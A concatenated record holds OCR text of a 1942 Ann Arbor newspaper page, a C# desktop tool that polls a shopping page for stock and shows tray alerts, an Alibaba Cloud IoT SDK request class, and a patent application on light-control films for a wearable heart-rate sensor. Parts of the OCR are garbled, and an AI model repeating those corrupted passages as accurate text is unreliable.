11:00 CBS MBS; Afternoon: 1:45 NBC, 2:00 CBS, 4:30 CBS, 5:45 NBC, 6:00 CBS. 6:25 NBC, 6:45 CBS. NBC—2:30 NBC Violin Finals 4:00 Down Mexico Way 4:45 Tropical Park Racing CBS —2:30 David Lipscomb Choir 4:00 Glen Gray Matinee 6:15 Calling Pan-America, Tri- CHICKENS. TIRE STOLEN Ann Arbor, Mich., Apr. 3 —Eight white lock chickens were reported stolen Wednesday from Mr. H. T. Helfley, 930 Seven Mile Rd. Mrs. Ray Dotts, 1548 Kensington, told police that the spare tire on her car, valued at $8, was stolen when her car was parked near St. Joseph's Hospital. RECEIVES TICKET Ann Arbor, Mich., Apr. 3—When James Fitzpatrick was helped by sheriff's officers to remove his car from the ditch Thursday he was arrested and charged with failure to have registration for his car. Automobile. Arraigned before Justice Harry W. Reading, he was fined $15 or the alternative of 10 days in jail. What’s The Fuss About? We have talked about—and pictured—men wearing suits with no lapels, suits with extremely short coats, suits with skimpy trousers, etc. Our answer to all such propaganda is just this: No immediate changes of any importance are going to take place in the styling of men’s clothing! No Cuffs... So What? Actually, the only thing that has happened to the clothing you will buy from us this spring is that the trousers won't be styled with cuffs. You'll agree with us, we're sure, that a change as insignificant as this isn't going to cause any hardship. After all, dress clothes never have had cuffs, cuffs, trousers for regular suits have often been an accepted style in the past, and no doubt will be at the very near future. Every piece of cloth not used for putting on cuffs will be saved and rewoven into re-processed wool. In conclusion, we urge you to remember this; no matter what happens, Mellencamp’s will continue to sell you the BEST VALUE in quality; fit and good looks. This has always been true of this store REGARDLESS OF TIMES—and it will hold true as long as Mellencamp’s are in business! Don't hoard anything—but defense bonds and stamps but to Cecil B. Demille MRS—I:30 Life of Father Drumgoole 5:00 Glenn Miller Serenade CHICAGO—INS—Without interrupting one bit of their work, employees of the Bureau of Wage and Service Records of the Railroad Retirement Board today started occupying new offices in a transfer front over-crowded Washington. Movers brought in 1,332,000 pounds of equipment, and as fast as they unloaded files and desks the employees went to work. GAI - 2*" I A FINISH - Je'^^w.teAuf WAU*,N It’s the latest discovery in paint, Cavars with One Caat *■ science... a paint that covers almost any interior surface, a Orlas In Ona Haur 1 painted or unpainted; wall- a It’s Washable I papered: brick or cement! Ideal., #., Av.r.,. ■•• ml for quick, low-cost room painting- _____ Investigate! See us today! NEWEST PASTEL COLORS Let us Suggest a reliable painting contractor GREENE'S Paint & Wall Paper Store Deon Greene, Prop. We Deliver ISli Sherwin-Williams Paints and Wallpapers 46 N. Huron Street Phone 943 There have been a lot of stories making the rounds lately about how strange men are going to look in the new “Victory Models”. Newspapers, magazines, and newsreels 'A^elencainp's OPEN FRIDAY EVENINGS UNTIL 9:00 GIVEN ANNULMENT Adiran. Micb. Apr. 3—INS —* Known as a "child bride.” 14-year-old Mildred Count, today held an annulment in her marriage to Floyd West. 27. She married West in Bryan, O, in Dec., 1940. after West and her parents secretly testified she was 81. She has not lived with her husband since Jan 6, 1941, when they were separated by court SEEK LIBERALIZATION Lansing, Mich., Apr. 3—A total of 1,361 cars, only 50 per cent of the cars available in Michigan for March, were sold, according to Rationing Administrator Arthur H. Sarvis. The figures have been submitted to Washington for study and liberalization of the purchase restrictions will be sought. | 5,615 |
https://github.com/melancn/Watching/blob/master/Watching/MainWindow.xaml.cs | Github Open Source | Open Source | MIT | 2,022 | Watching | melancn | C# | Code | 675 | 2,754 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Forms;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Net.Http;
using System.Text.RegularExpressions;
using System.Configuration;
using System.Security;
namespace Watching
{
/// <summary>
/// MainWindow.xaml 的交互逻辑
/// </summary>
public partial class MainWindow : Window
{
private NotifyIcon notifyIcon;
private int run_id = 0;
private Boolean is_stop = false;
public MainWindow()
{
InitializeComponent();
getConfig();
this.notifyIcon = new NotifyIcon();
this.notifyIcon.BalloonTipText = "系统监控中... ...";
this.notifyIcon.ShowBalloonTip(2000);
this.notifyIcon.Text = "系统监控中... ...";
this.notifyIcon.Icon = System.Drawing.Icon.ExtractAssociatedIcon(System.Windows.Forms.Application.ExecutablePath);
this.notifyIcon.Visible = true;
//this.notifyIcon.MouseClick += NotifyIcon_MouseClick;
this.notifyIcon.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler((o, e) =>
{
if (e.Button == MouseButtons.Left)
{
if (this.Visibility == System.Windows.Visibility.Visible) { this.HideWindow(); }
else this.ShowWindow();
}
});
addIconMenu();
}
private void NotifyIcon_MouseClick(object sender, System.Windows.Forms.MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
//addIconMenu();
}
}
private void addIconMenu()
{
System.Windows.Forms.ContextMenu menu = new System.Windows.Forms.ContextMenu();
System.Windows.Forms.MenuItem closeItem = new System.Windows.Forms.MenuItem();
closeItem.Text = "退出";
closeItem.Click += new EventHandler(delegate { this.Close(); });
menu.MenuItems.Add(closeItem);
notifyIcon.ContextMenu = menu;
}
private void ShowWindow()
{
this.Show();
WindowState = WindowState.Normal;
this.Activate();
}
private void HideWindow()
{
this.Hide();
notifyIcon.ShowBalloonTip(3000, "监控", "监控最小化到托盘", ToolTipIcon.Info);
}
private void CloseWindow()
{
notifyIcon.Visible = false;
notifyIcon.Dispose();
notifyIcon = null;
}
private void Window_StateChanged(object sender, EventArgs e)
{
if (WindowState == WindowState.Minimized) { this.HideWindow(); } else this.ShowWindow();
}
private void StartStop_Click(object sender, RoutedEventArgs e)
{
if (run_id > 0)
{
status.Text = "正在停止...";
is_stop = true;
}
else
{
saveConfig();
status.Text = "运行中";
if ((bool)is_clean_log.IsChecked)
{
logInfo.Text = "";
}
processWatching(url.Text, url_pattern.Text, title.Text, content.Text);
start_stop.Content = "停止";
}
}
private void Window_Closed(object sender, EventArgs e)
{
}
private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
this.CloseWindow();
}
public delegate void dewindow(string a);
public void addTextToInfo(string a)
{
Dispatcher.InvokeAsync(() =>
{
string date = DateTime.Now.ToString("u");
logInfo.Text = logInfo.Text + date + "\r\n" + a + "\r\n";
logInfo.ScrollToVerticalOffset(logInfo.ExtentHeight);
}
);
}
private async void processWatching(string url, string url_pattern, string title, string content)
{
Boolean is_match = this.is_include.IsChecked == true ? true : false;
Boolean is_clean_log = this.is_clean_log.IsChecked == true ? true : false;
HttpClient u = new HttpClient();
u.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0");
int time_out = int.Parse(interval_time.Text);
int times = int.Parse(alert_times.Text);
int atime = int.Parse(alert_time.Text);
int count = 0;
await System.Threading.Tasks.Task.Run(() =>
{
Console.WriteLine("s Thread ID:#{0}", Thread.CurrentThread.ManagedThreadId);
run_id = System.Threading.Thread.CurrentThread.ManagedThreadId;
string html;
DateTime now = DateTime.Now;
while (true)
{
Console.WriteLine(is_stop);
if (is_stop || count >= times)
{
run_id = 0;
is_stop = false;
System.Windows.MessageBox.Show("已停止");
break;
}
try
{
html = u.GetStringAsync(url).Result;
}
catch (Exception e)
{
addTextToInfo("错误：" + e.InnerException.Message);
System.Windows.MessageBox.Show(e.Message);
run_id = 0;
is_stop = false;
break;
}
Match match = Regex.Match(html, url_pattern);
if (is_match)
{
if (match.Success)
{
if (atime > 0)
{
DateTime now_t = now.AddMilliseconds(atime);
if (now_t > DateTime.Now)
{
Thread.Sleep(time_out);
continue;
}
now = DateTime.Now;
}
count++;
addTextToInfo("提示次数：" + count.ToString());
addTextToInfo(title + " " + content);
if (notifyIcon != null) notifyIcon.ShowBalloonTip(time_out, title, content, ToolTipIcon.Info);
}
else
{
count = 0;
}
}
else
{
if (!match.Success)
{
if (atime > 0)
{
DateTime now_t = now.AddMilliseconds(atime);
if (now_t > DateTime.Now)
{
Thread.Sleep(time_out);
continue;
}
now = DateTime.Now;
}
count++;
addTextToInfo("提示次数：" + count.ToString());
addTextToInfo(title + " " + content);
if (notifyIcon!=null) notifyIcon.ShowBalloonTip(time_out, title, content, ToolTipIcon.Info);
}
else
{
count = 0;
}
}
Thread.Sleep(time_out);
}
});
status.Text = "已停止";
start_stop.Content = "开始";
}
private void getConfig()
{
try
{
title.Text = ConfigurationManager.AppSettings["title"] ?? "DIY卡免还款签账额20元";
content.Text = ConfigurationManager.AppSettings["content"] ?? "有货";
alert_times.Text = ConfigurationManager.AppSettings["alert_times"] ?? "10";
alert_time.Text = ConfigurationManager.AppSettings["alert_time"] ?? "1000";
interval_time.Text = ConfigurationManager.AppSettings["interval_time"] ?? "35000";
url.Text = ConfigurationManager.AppSettings["url"] ?? "https://shop.cgbchina.com.cn/mall/goods/03140714143403208122?itemCode=03140714143403208122";
url_pattern.Text = ConfigurationManager.AppSettings["url_pattern"] ?? "stock-zero";
is_include.IsChecked = ConfigurationManager.AppSettings["is_include"] == "1" ? true : false;
}
catch (ConfigurationErrorsException e)
{
System.Windows.MessageBox.Show(e.Message);
}
}
private void saveConfig()
{
try
{
Configuration cfa = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
cfa.AppSettings.Settings.Remove("title");
cfa.AppSettings.Settings.Add("title", title.Text);
cfa.AppSettings.Settings.Remove("content");
cfa.AppSettings.Settings.Add("content", content.Text);
cfa.AppSettings.Settings.Remove("alert_times");
cfa.AppSettings.Settings.Add("alert_times", alert_times.Text);
cfa.AppSettings.Settings.Remove("alert_time");
cfa.AppSettings.Settings.Add("alert_time", alert_time.Text);
cfa.AppSettings.Settings.Remove("interval_time");
cfa.AppSettings.Settings.Add("interval_time", interval_time.Text);
cfa.AppSettings.Settings.Remove("url");
cfa.AppSettings.Settings.Add("url", url.Text);
cfa.AppSettings.Settings.Remove("url_pattern");
cfa.AppSettings.Settings.Add("url_pattern", url_pattern.Text);
cfa.AppSettings.Settings.Remove("is_include");
cfa.AppSettings.Settings.Add("is_include", is_include.IsChecked == true ? "1" : "0");
cfa.Save();
}
catch (ConfigurationErrorsException e)
{
System.Windows.MessageBox.Show(e.Message);
}
}
private void button_Click(object sender, RoutedEventArgs e)
{
if (logInfo.Visibility == System.Windows.Visibility.Visible) {
logInfo.Visibility = Visibility.Hidden;
}
else
{
logInfo.Visibility = Visibility.Visible;
}
}
}
}
| 31,226 |
https://github.com/aliyun/alibabacloud-java-sdk/blob/master/iot-20180120/src/main/java/com/aliyun/iot20180120/models/CreateRuleActionRequest.java | Github Open Source | Open Source | Apache-2.0 | 2,023 | alibabacloud-java-sdk | aliyun | Java | Code | 507 | 1,111 | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.iot20180120.models;
import com.aliyun.tea.*;
public class CreateRuleActionRequest extends TeaModel {
/**
* <p>The configurations of the rule action. You must specify a JSON string. The configurations vary based on the types of rule actions. For more information about required syntax and examples, see the following tables.</p>
*/
@NameInMap("Configuration")
public String configuration;
/**
* <p>Specifies whether the rule action forwards error operation data. Error operation data is generated when the rules engine failed to forward data from the IoT Platform topic to the destination cloud service. A data forwarding failure indicates that forwarding retries also fail. Valid values:</p>
* <br>
* <p>* **true**: forwards error operation data.</p>
* <p>* **false**: forwards normal data instead of error operation data.</p>
* <br>
* <p>Default value: **false**.</p>
*/
@NameInMap("ErrorActionFlag")
public Boolean errorActionFlag;
/**
* <p>The ID of the instance. You can view the instance **ID** on the **Overview** page in the IoT Platform console.</p>
* <br>
* <p>>* If your instance has an ID, you must configure this parameter. If you do not set this parameter, the call fails.</p>
* <p>>* If your instance has no **Overview** page or ID, you do not need to set this parameter.</p>
* <br>
* <p>For more information, see [Overview](~~356505~~).</p>
*/
@NameInMap("IotInstanceId")
public String iotInstanceId;
/**
* <p>The ID of the rule for which you want to create an action. You can log on to the IoT Platform console, and choose **Rules** > **Data Forwarding** to view the rule ID. You can also call the [ListRule](~~69486~~) operation and view the rule ID in the response.</p>
*/
@NameInMap("RuleId")
public Long ruleId;
/**
* <p>The type of the rule action. Valid values:</p>
* <br>
* <p>* **REPUBLISH**: forwards topic data that is processed by the rules engine to another IoT Platform topic.</p>
* <p>* **AMQP**: forwards data to an AMQP consumer group.</p>
* <p>* **MNS**: forwards data that is processed by the rules engine to Message Service (MNS).</p>
* <p>* **FC**: forwards topic data that is processed by the rules engine to Function Compute for event computing.</p>
* <p>* **OTS**: forwards data that is processed by the rules engine to OTS for NoSQL data storage.</p>
* <br>
* <p>> If you set the **DataType** parameter to **BINARY**, rules are created in the binary format. These rules cannot be used to forward data to Tablestore.</p>
*/
@NameInMap("Type")
public String type;
public static CreateRuleActionRequest build(java.util.Map<String, ?> map) throws Exception {
CreateRuleActionRequest self = new CreateRuleActionRequest();
return TeaModel.build(map, self);
}
public CreateRuleActionRequest setConfiguration(String configuration) {
this.configuration = configuration;
return this;
}
public String getConfiguration() {
return this.configuration;
}
public CreateRuleActionRequest setErrorActionFlag(Boolean errorActionFlag) {
this.errorActionFlag = errorActionFlag;
return this;
}
public Boolean getErrorActionFlag() {
return this.errorActionFlag;
}
public CreateRuleActionRequest setIotInstanceId(String iotInstanceId) {
this.iotInstanceId = iotInstanceId;
return this;
}
public String getIotInstanceId() {
return this.iotInstanceId;
}
public CreateRuleActionRequest setRuleId(Long ruleId) {
this.ruleId = ruleId;
return this;
}
public Long getRuleId() {
return this.ruleId;
}
public CreateRuleActionRequest setType(String type) {
this.type = type;
return this;
}
public String getType() {
return this.type;
}
}
| 41,104 |
US-201916276240-A_1 | USPTO | Open Government | Public Domain | 2,019 | None | None | English | Spoken | 5,945 | 8,265 | Electronic Devices Having Optical Sensors With Curved Laminated Films
ABSTRACT
An electronic device such as a wearable device may have an optical sensor. The optical sensor may have a light source such as one or more visible-light light-emitting diodes or other light-emitting devices and may have a light detector formed from one or more photodetectors. The wearable device may have a wearable housing in which the optical sensor is mounted. During operation, light from the light source may pass through a transparent portion of the housing, may reflect from an external object such as a wrist or other body part of a user, and may be received by the photodetectors after passing through light control members. The light control members may be arranged in a ring with a center and may have curved shapes with concave surfaces that face the center. Each light control member may be formed from a stack of laminated bent light control films.
FIELD
This relates generally to electronic devices, and, more particularly, toelectronic devices with optical components.
BACKGROUND
Electronic devices may include sensors. For example, an optical sensormay be used in a wristwatch to measure a user's heart rate.
It can be challenging to incorporate sensors such as optical sensorsinto electronic devices. For example, optical components for providingan electronic device with desired functionality may be too bulky orunattractive to incorporate into the electronic device.
SUMMARY
An electronic device such as a wearable electronic device may have anoptical sensor. The optical sensor may have a light source such as oneor more visible-light light-emitting diodes and may have a lightdetector formed from one or more photodetectors. The optical sensor maybe used as a hear rate sensor or other sensor in the electronic device.
The electronic device may have a housing in which the optical sensor ismounted. During operation, light from the light source may pass througha transparent portion of the housing, may reflect from an externalobject such as a wrist or other body part of a user, and may be receivedby the photodetectors after passing through light control members.Analysis of the received light may reveal biometric information on theuser. The light control members may help reduce stray light signals.
The light control members may be arranged in a ring. The light controlmembers may each have a curved shape with a concave surface that facesthe center of the ring. Each light control member may be formed from astack of laminated bent light control films. The light control films forthe stack may be pressed into desired bent shapes using a laminationtool with curved surfaces.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 is perspective view of an illustrative electronic device inaccordance with an embodiment.
FIG. 2 is a schematic diagram of an illustrative electronic device inaccordance with an embodiment.
FIG. 3 is a cross-sectional side view of an illustrative electronicdevice in accordance with an embodiment.
FIG. 4 is a rear view of a transparent housing structure on the rearface of an electronic device showing illustrative locations for lightsource and light detector components in accordance with an embodiment.
FIG. 5 is a cross-sectional side view of an illustrative portion of anelectronic device with an optical sensor in accordance with anembodiment.
FIG. 6 is a cross-sectional side view of an illustrative light controlfilm that may be used in forming a light control member in accordancewith an embodiment.
FIG. 7 is a perspective view of an illustrative light control memberformed from a stack of laminated bent light control films in accordancewith an embodiment.
FIG. 8 is a perspective view of an illustrative tool for bending lightcontrol films and laminating the bent light control films together inaccordance with an embodiment.
FIG. 9 is an end view of the illustrative tool of FIG. 8 and a set ofbent light control films that are being laminated using the tool inaccordance with the present invention.
FIG. 10 is a side view of the illustrative tool of FIGS. 8 and 9 showinghow a cutting tool can be used to separate laminated sections of lightcontrol films from each other to form curved light control members inaccordance with an embodiment.
FIG. 11 is an end view of another illustrative tool for laminating lightcontrol films in accordance with an embodiment.
DETAILED DESCRIPTION
An electronic device may have an optical sensor. The optical sensor mayinclude a light source and a light detector. The light detector mayinclude photodetectors or other light detector elements that measurelight from the light source after the light has passed through a user'swrist or other body part. In this type of arrangement, the light sourceand detector may form a heart rate sensor (e.g., a photoplethysmographyheart rate sensor) or other biometric sensor. Configurations in whichoptical sensors are used for making other types of arrangements may alsobe used, if desired.
To reduce the impact of stray light when making measurements of a user'sbody through a transparent housing wall, light control members formedfrom stacks of light control film may be interposed between the housingwall and the light detectors. The light control members may be curvedmembers formed by laminating together bent light control films.
An illustrative electronic device of the type that may include anoptical sensor is shown in FIG. 1. Device 10 may be a laptop computer, acomputer monitor containing an embedded computer, a tablet computer, adesktop computer, a cellular telephone, a media player, or otherhandheld or portable electronic device, a smaller device such as awristwatch device, a wristband device, a pendant device, a headphone orearpiece device, a head-mounted device such as glasses, goggles, ahelmet, or other equipment worn on a user's head, or other wearable orminiature device, a television, a computer display that does not containan embedded computer, a gaming device, a navigation device, an embeddedsystem such as a system in which equipment is mounted in a kiosk, in anautomobile, airplane, or other vehicle, a removable external case forelectronic equipment, an accessory such as a remote control, computermouse, track pad, wireless or wired keyboard, or other accessory, and/orequipment that implements the functionality of two or more of thesedevices. In the illustrative configuration of FIG. 1, device 10 is awearable electronic device such as a wristwatch. This configuration maysometimes be described herein as an example. Other types of electronicdevice may include optical sensors if desired.
As shown in FIG. 1, device 10 may have a housing such as housing 12.Housing 12 may be formed from materials such as polymer, glass, metal,crystalline materials such as sapphire, ceramic, fabric, foam, wood,other materials, and/or combinations of these materials. Input-outputdevices such as one or more buttons 16 may be mounted on housing 12.During operation, a user may press buttons 16, may turn buttons 16, ormay otherwise use buttons 16 to provide device 10 with input.
User input may also be gathered using touch sensors, a microphone, aforce sensor, an accelerometer, and/or other input-output devices.Output may be provided to a user with speakers, haptic output devices(e.g., a vibrator or other electromagnetic actuator), status indicatorlights, and/or other output devices.
If desired, device 10 may have an output device such as display 14.Display 14 has an array of pixels for displaying images to users.Display 14 may be a light-emitting diode display (e.g., an organiclight-emitting diode display or a display with a pixel array havinglight-emitting diodes formed from crystalline semiconductor dies), aliquid crystal display, or other display. Display 14 may include atwo-dimensional capacitive touch sensor or other touch sensor forgathering touch input. A force sensor in device 10 may be coupledbetween display 14 and housing 12 so that a user may supply force inputby pressing against display 14.
Device 10 may have structures that are configured to allow device 10 tobe worn on a wrist or other body part of a user. For example, device 10may have wrist strap 18. Strap 18, which may sometimes be referred to asa band, may have one or more segments that are configured to allowdevice 10 to be worn on a user's wrist.
A schematic diagram of an illustrative electronic device is shown inFIG. 2. As shown in FIG. 2, device 10 may include control circuitry 30,communications circuitry 32, and input-output devices 34.
Control circuitry 30 may include storage and processing circuitry forsupporting the operation of device 10. The storage and processingcircuitry may include storage such as nonvolatile memory (e.g., flashmemory or other electrically-programmable-read-only memory configured toform a solid state drive), volatile memory (e.g., static or dynamicrandom-access-memory), etc. Processing circuitry in control circuitry 30may be used to gather input from sensors and other input devices and maybe used to control output devices. The processing circuitry may be basedon one or more microprocessors, microcontrollers, digital signalprocessors, baseband processors and other wireless communicationscircuits, power management units, audio chips, application specificintegrated circuits, etc.
To support communications between device 10 and external electronicequipment, control circuitry 30 may communicate using communicationscircuitry 32. Communications circuitry 32 may include antennas,radio-frequency transceiver circuitry, and other wireless communicationscircuitry and/or wired communications circuitry. Circuitry 32, which maysometimes be referred to as control circuitry and/or control andcommunications circuitry, may, for example, support wirelesscommunications using wireless local area network links, near-fieldcommunications links, cellular telephone links, millimeter wave links,and/or other wireless communications paths.
Input-output devices 34 may be used in gathering user input, ingathering information on the environment surrounding the user, and/or inproviding a user with output. Devices 34 may include sensors 36. Sensors36 may include force sensors (e.g., strain gauges, capacitive forcesensors, resistive force sensors, etc.), audio sensors such asmicrophones, capacitive touch sensors, capacitive proximity sensors,other touch sensors, ultrasonic sensors, sensors for detecting position,orientation, and/or motion (e.g., accelerometers, magnetic sensors suchas compass sensors, gyroscopes, and/or inertial measurement units thatcontain some or all of these sensors), muscle activity sensors (EMG),heart rate sensors, electrocardiogram sensors, and other biometricsensors, radio-frequency sensors (e.g., radar and other ranging andpositioning sensors), humidity sensors, moisture sensors, and/or othersensors.
Input-output devices 34 may include optical components such aslight-emitting diodes (e.g., for camera flash or other blanketillumination, etc.), lasers such as vertical cavity surface emittinglasers and other laser diodes, laser components that emit multipleparallel laser beams (e.g., for three-dimensional sensing), lamps, andlight sensing components such as photodetectors and digital imagesensors. For example, sensors 36 in devices 34 may include depth sensors(e.g., structured light sensors and/or depth sensors based on stereoimaging devices that can optically sense three-dimensional shapes),optical sensors such as self-mixing sensors and light detection andranging (lidar) sensors that gather time-of-flight measurements and/orother measurements to determine distance between the sensor and anexternal object and/or that can determine relative velocity,monochromatic and/or color ambient light sensors that can measureambient light levels, proximity sensors based on light (e.g., opticalproximity sensors that include light sources such as infraredlight-emitting diodes and/or lasers and corresponding light detectorssuch as infrared photodetectors that can detect when external objectsare within a predetermined distance), optical sensors such as visualodometry sensors that gather position and/or orientation informationusing images gathered with digital image sensors in cameras, gazetracking sensors, visible light and/or infrared cameras having digitalimage sensors configured to gather image data, optical sensors formeasuring ultraviolet light, and/or other optical sensor components(e.g., light sensitive devices and, if desired, light sources),photodetectors coupled to light guides, associated light emitters,and/or other optical components (one or more light-emitting devices, oneor more light-detecting devices, etc.).
To make biometric measurements, sensors 36 may include an optical sensorthat emits light into a user's body and detects backscattered(reflected) light from the user's body. This type of optical sensor may,as an example, serve as a heart rate sensor.
In addition to sensors 36, input-output devices 16 may include userinput devices such as buttons 16 and visual output devices such asdisplay 14. Input-output devices 34 may also include other devices 40.Devices 40 may include, for example, light-based output devices otherthan display 14 that are used to provide visual output to a user. Thelight-based output devices may include one or more light-emittingdiodes, one or more lasers, lamps, electroluminescent devices, and/orother light emitting components. The light-based output devices may formstatus indicator lights. If desired, the light-based output devices mayinclude illuminated icons (e.g., backlight symbols associated with powerindicators, battery charge indicators, wireless signal strengthindicators, notification icons, etc.).
If desired, devices 40 may include speakers and other audio outputdevices, electromagnets, permanent magnets, structures formed frommagnetic material (e.g., iron bars or other ferromagnetic members thatare attracted to magnets such as electromagnets and/or permanentmagnets), batteries, etc. Devices 40 may also include power transmittingand/or receiving circuits configured to transmit and/or receive wiredand/or wireless power signals. Devices 40 may include microphones forgathering voice commands, touch sensor input devices, accelerometers forgathering user input gestures such as tap gestures, and/or other devicesfor gathering user input. Devices 40 may also include output componentssuch as haptic output devices and other output components (e.g.,electromagnetic actuators or other actuators that can vibrate to providea user with a haptic alert and/or haptic feedback associated withoperation of a touch sensor or other input devices).
A cross-sectional side view of device 10 of FIG. 1 is shown in FIG. 3.As shown in FIG. 3, housing 12 may have one or more portions such assidewall portions 12W, front portion 12F on front face F of device 10,and rear portions 12RM and 12RC on rear face R of device 10. Straps 18may be coupled to sidewalls in housing 12 such as sidewall portions 12W.These portions may be formed from metal (e.g., aluminum, stainlesssteel, or other metals) or may be formed from polymer, glass, ceramic,and/or other materials.
Some or all of housing 12 may be transparent. For example, housingportion 12F may be a transparent display cover layer that overlaps andprotects display pixel array 14PA of display 14. Housing portion 12F maybe formed from sapphire or other crystalline material, glass, polymer,transparent ceramic, and/or other transparent material. Rear portion12RG may have a circular shape (e.g., a circular outline) or othersuitable shape when rear face R is viewed in direction 43. Portion 12RGmay be formed from transparent material such as sapphire or othercrystalline material, glass, polymer, transparent ceramic, and/or othertransparent material. This allows optical sensors to operate throughrear housing portion 12RG. Portion 12RM, which may be used to supportportion 12RG and to couple portion 12RG to portion 12W and the rest ofhousing 12, may be formed form opaque material (e.g., metal such asaluminum, stainless steel, or other metals, opaque polymer, or otheropaque materials) or may be formed from a transparent material.
If desired, opaque structures such as coatings of opaque ink, metal, orother opaque coating material may be provided on the surface of ahousing structure that is otherwise transparent. For example, portionsof a transparent member forming rear housing portion 12RG may have aninterior surface that is covered with opaque masking material to helphide internal components 42 from view. Windows may be formed in theopaque masking material or other opaque structures in housing 12 (e.g.,an opaque rear housing wall) to allow light to pass out of and intodevice 10. Components 42 in the interior of device 10 may includeintegrated circuits, discrete components, a battery, wireless circuitcomponents such as a wireless power coil, and/or other components (see,e.g., control circuitry 30, communications circuitry 32, andinput-output devices 34 of FIG. 2).
Rear housing portion 12RG or other transparent housing structures inhousing 12 (e.g., transparent windows in opaque housing walls,transparent housing wall structures, etc.) may overlap a light sourceand light detector that form an optical sensor such as a heart ratesensor. FIG. 4 is a rear view of rear housing portion 12RG of device 10of FIG. 3 viewed in direction 43 of FIG. 3. As shown in FIG. 4, rearhousing portion 12RG may, if desired, have a circular shape and may becharacterized by a central point such as center point 48.
Optical sensor components may be mounted within the interior of device10 under rear housing portion 12RG. For example, light-emittingcomponents that form a light source may be located behind rear housingportion 12RG in one or more regions such as region 44 and light detectorcomponents that form a light detector may be located behind rear housingportion 12RG in one or more regions such as regions 46. In the exampleof FIG. 4, light emission region 44 is a circular region aligned withthe center of rear housing portion 12RG (center point 48) and there areeight non-contiguous light detection regions 46 arranged in a ring(circle) around light emission region 44.
Regions 46 may, as an example, be formed from eight discrete segments ofa ring-shaped area that has a center aligned with center point 48 (e.g.,a ring in which regions 46 are separated by gaps). Other numbers of ringsegments may be include in regions 46 if desired. For example, there maybe two regions 46, four regions 46, at least six regions 46, fewer than12 regions 46, etc. Arrangements may also be used in which differentshapes of light emission region(s) and/or different shapes of lightdetection region(s) are included in device 10 to allow light for anoptical sensor to be emitted and detected through housing 12.
FIG. 5 is a cross-sectional side view of device 10 of FIG. 4 taken alongline 50 and viewed in direction 52. As shown in FIG. 5, electricalcomponents are provided on the interior side of housing portion 12RG forforming optical sensor 36H. Optical sensor 36H may be a biometric sensorsuch as a heart rate sensor that operates by measuring reflected lightfrom a user's wrist or other body part or may be any other type ofoptical sensor. The electrical components for forming optical sensor 36Hmay be located on the interior side of rear housing portion 12RG (e.g.,a sapphire member, glass member, polymer member, or other rear housingwall structure with a circular shape or other suitable shape) inalignment with regions 44 and 46. Opaque masking structures such asopaque layer 54 may be formed on some of the inner surface of rearhousing portion 12RG (e.g., in areas that are not overlapped by theoptical components of sensor 36H) to hide internal structures from viewfrom the exterior of device 10. Rear housing portion 12RG or at leastthe parts of portion 12RG that are overlapped by the optical componentsof sensor 36H may be transparent to allow light to be emitted from theinterior of device 10 and to allow light from the exterior of device 10to pass to the interior of device 10.
The electrical components of optical sensor 36H may include light source36E and light detector 36D. Light source 36E may have one or morelight-emitting devices 58 such as light-emitting diodes and/or laserdiodes. Light source 36E may, as an example, have a pair oflight-emitting devices 58 such as first and second visible-lightlight-emitting diodes that are configured to emit green light or othervisible light. Arrangements in which light source 36E emits infraredlight and/or ultraviolet light may also be used. Light detector 36D mayinclude eight photodetectors each of which is associated with arespective one of the eight regions 46 of FIG. 4 or may include fewerphotodetectors or more photodetectors. The photodetectors may, as anexample, each be formed from a respective photodiode that overlaps arespective one of regions 46. Configurations in which each lightdetection region 46 uses multiple photodetectors may also be used. Lightdetector 36D may, in general, have at least two photodetectors, at leastfive photodetectors, at least 10 photodetectors, fewer than 15photodetectors, eight photodetectors, fewer than seven photodetectors,etc.
An optical component such as optical component 60 may be interposedbetween the inner surface of rear housing portion 12RG and light emitter36E. Optical component 60 may include one or more lenses and/or othercomponents for performing functions such as controlling the orientationof emitted light. During operation, control circuitry 30 may uselight-emitting device(s) 58 of light emitter 36E to emit light. Thislight passes through optical structure 60 and a transparent portion ofhousing 12 in region 44 to illuminate an external object such as auser's wrist or other body part. Some of the emitted light is reflectedback to device 10. Control circuitry 30 may use light detector 36D tomeasure the reflected light and to process signal measurements todetermine a user's heart rate and/or to produce other sensor data (e.g.,other biometric information).
Optical sensor 36H may include optical structures such as light controlmembers 56 (sometimes referred to as optical components or light controlstructures). Light control members 56 may each be formed from a stack oflaminated light control films. Each light control member 56 may beinterposed between the inner surface of rear housing portion 12RG and arespective one or more of the photodetectors in light detector 36D. Forexample, each light control member 56 may pass light to a respectivephotodetector.
Light control members 56 may be used to help narrow the angles ofacceptance of the photodetectors and thereby reduce stray opticalsignals that might otherwise be detected by the photodetectors. In thisway, the presence of light control members 56 may enhance theperformance of optical sensor 36H.
The light control members may be formed from laminated layers of lightcontrol film. An illustrative light control film is shown in FIG. 6. Asshown in FIG. 6, light control film 56L may include a layer oftransparent material such as polymer 62. Film 56L may also include a setof louver structures such as louvers 64 that block off-axis light whileallowing light that is propagating parallel to the louvers to pass.
